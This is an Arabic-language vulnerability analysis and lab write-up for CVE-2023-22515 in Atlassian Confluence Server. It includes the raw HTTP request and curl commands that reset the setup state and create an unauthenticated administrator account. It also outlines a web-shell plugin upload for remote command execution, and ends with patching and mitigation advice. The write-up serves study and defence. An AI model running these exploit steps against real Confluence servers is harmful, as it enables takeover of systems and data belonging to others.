
تحليل مفصل واستغلال إثبات المفهوم لـ CVE-2023-22515، وهي ثغرة حرجة في التحكم في الوصول المكسور في Atlassian Confluence Data Center وServer، مما يتيح إنشاء حساب مسؤول غير مصادق عليه وتنفيذ تعليمات برمجية عن بعد محتمل.
CVE-2023-22515 هي ثغرة التحكم في الوصول المكسور (Broken Access Control) خطيرة تم اكتشافها في منتجات Atlassian Confluence Data Center وServer. يمكن للمهاجم عن بعد دون مصادقة إعادة تنشيط عملية الإعداد الأولي للخادم، ومن خلال ذلك إنشاء حساب مدير جديد والاستيلاء الكامل على النظام.
جوهر هذه الثغرة هو عدم كفاية التحقق بين آلية ربط المعلمات في إطار XWork2 ومنطق معالجة الإجراءات (Action) في Confluence.
يمكن للمهاجم التلاعب بقيمة bootstrapStatusProvider.applicationConfig.setupComplete إلى false عبر معلمات URL. هذه الخاصية هي علامة مهمة تحدد ما إذا كان Confluence قد أكمل التثبيت والإعداد.
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
عند إرسال هذا الطلب، يعتقد الخادم في الذاكرة أن الإعداد لم يكتمل. هذا لا يغير ملف الإعداد الدائم (confluence.cfg.xml)، لكنه يغير الحالة أثناء التشغيل مما يسمح بتجاوز التحكم في الوصول.
/server-info.action ويرسل المعامل bootstrapStatusProvider.applicationConfig.setupComplete=false./setup/*./setup/setupadministrator.action وينشئ حساب مدير نظام جديد.تم إعداد Confluence Server بإصدار ضعيف (8.5.1) باستخدام Docker.
atlassian/confluence-server:8.5.1docker-compose.yml (ملخص):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... إعدادات قاعدة البيانات ...
لتجنب مشاكل اعتماديات Python، تم كتابة وتنفيذ PoC باستخدام سكريبت Bash مع curl.
سير الاستغلال:
إعادة تعيين حالة الإعداد:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
النتيجة: تم استجابة HTTP 302 إعادة توجيه، وتأكدنا من إلغاء حالة الإعداد المكتمل داخليًا.
إنشاء مدير:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
النتيجة: تمت محاولة إنشاء حساب hacked_admin من خلال هذا الطلب، وأصبح الوصول بهذا الحساب ممكنًا من صفحة تسجيل الدخول.
يجب الترقية فورًا إلى أحدث الإصدارات التي توفرها Atlassian.
في حالة عدم إمكانية تطبيق التصحيح، يجب حظر الوصول إلى نقطة النهاية /setup/* على مستوى الشبكة (موازن التحميل، WAF، وكيل عكسي، إلخ).
/setup/*المهاجم الذي حصل على صلاحيات المدير عبر CVE-2023-22515 يمكنه التقدم إلى مرحلة تنفيذ أوامر النظام (RCE).
يوفر Confluence للمدير صلاحية تثبيت الإضافات (Add-ons). يمكن للمهاجم استغلال ذلك لرفع إضافة خبيثة تحتوي على وظيفة شيل ويب (Web Shell) وبالتالي الحصول على التحكم في نظام تشغيل الخادم.
/setup/finishsetup.action (مع تجاوز الترخيص) أو استكشاف قوائم المدير المتاحة باستخدام جلسة موجودة.Confluence Administration -> Manage Apps -> Upload App.jar يحتوي على فئات Java خبيثة./plugins/servlet/webshell?cmd=id) لتنفيذ أوامر النظام.بيئة الممارسة هذه (Docker) لا تملك ترخيص Confluence صالحًا، لذا لا يمكن إكمال مرحلة الإعداد الأولي. وبالتالي، كان طلب إنشاء حساب المدير ناجحًا (إعادة توجيه 302)، لكن الوصول إلى قائمة الإضافات وتنفيذ RCE الفعلي كان محدودًا. في البيئات الإنتاجية الحقيقية، الترخيص مسجل، لذا يمكن تنفيذ RCE فورًا دون هذه القيود.
CVE-2023-22515 هي ثغرة خطيرة جدًا تسمح بالحصول على صلاحيات المدير دون مصادقة. يمكن تنفيذ الهجوم بمجرد التلاعب بمعلمات URL، مما يجعل صعوبة الهجوم منخفضة جدًا. لذلك، يجب على المؤسسات التي تستخدم هذه الإصدارات تطبيق التصحيح أو الإجراءات التخفيفية فورًا.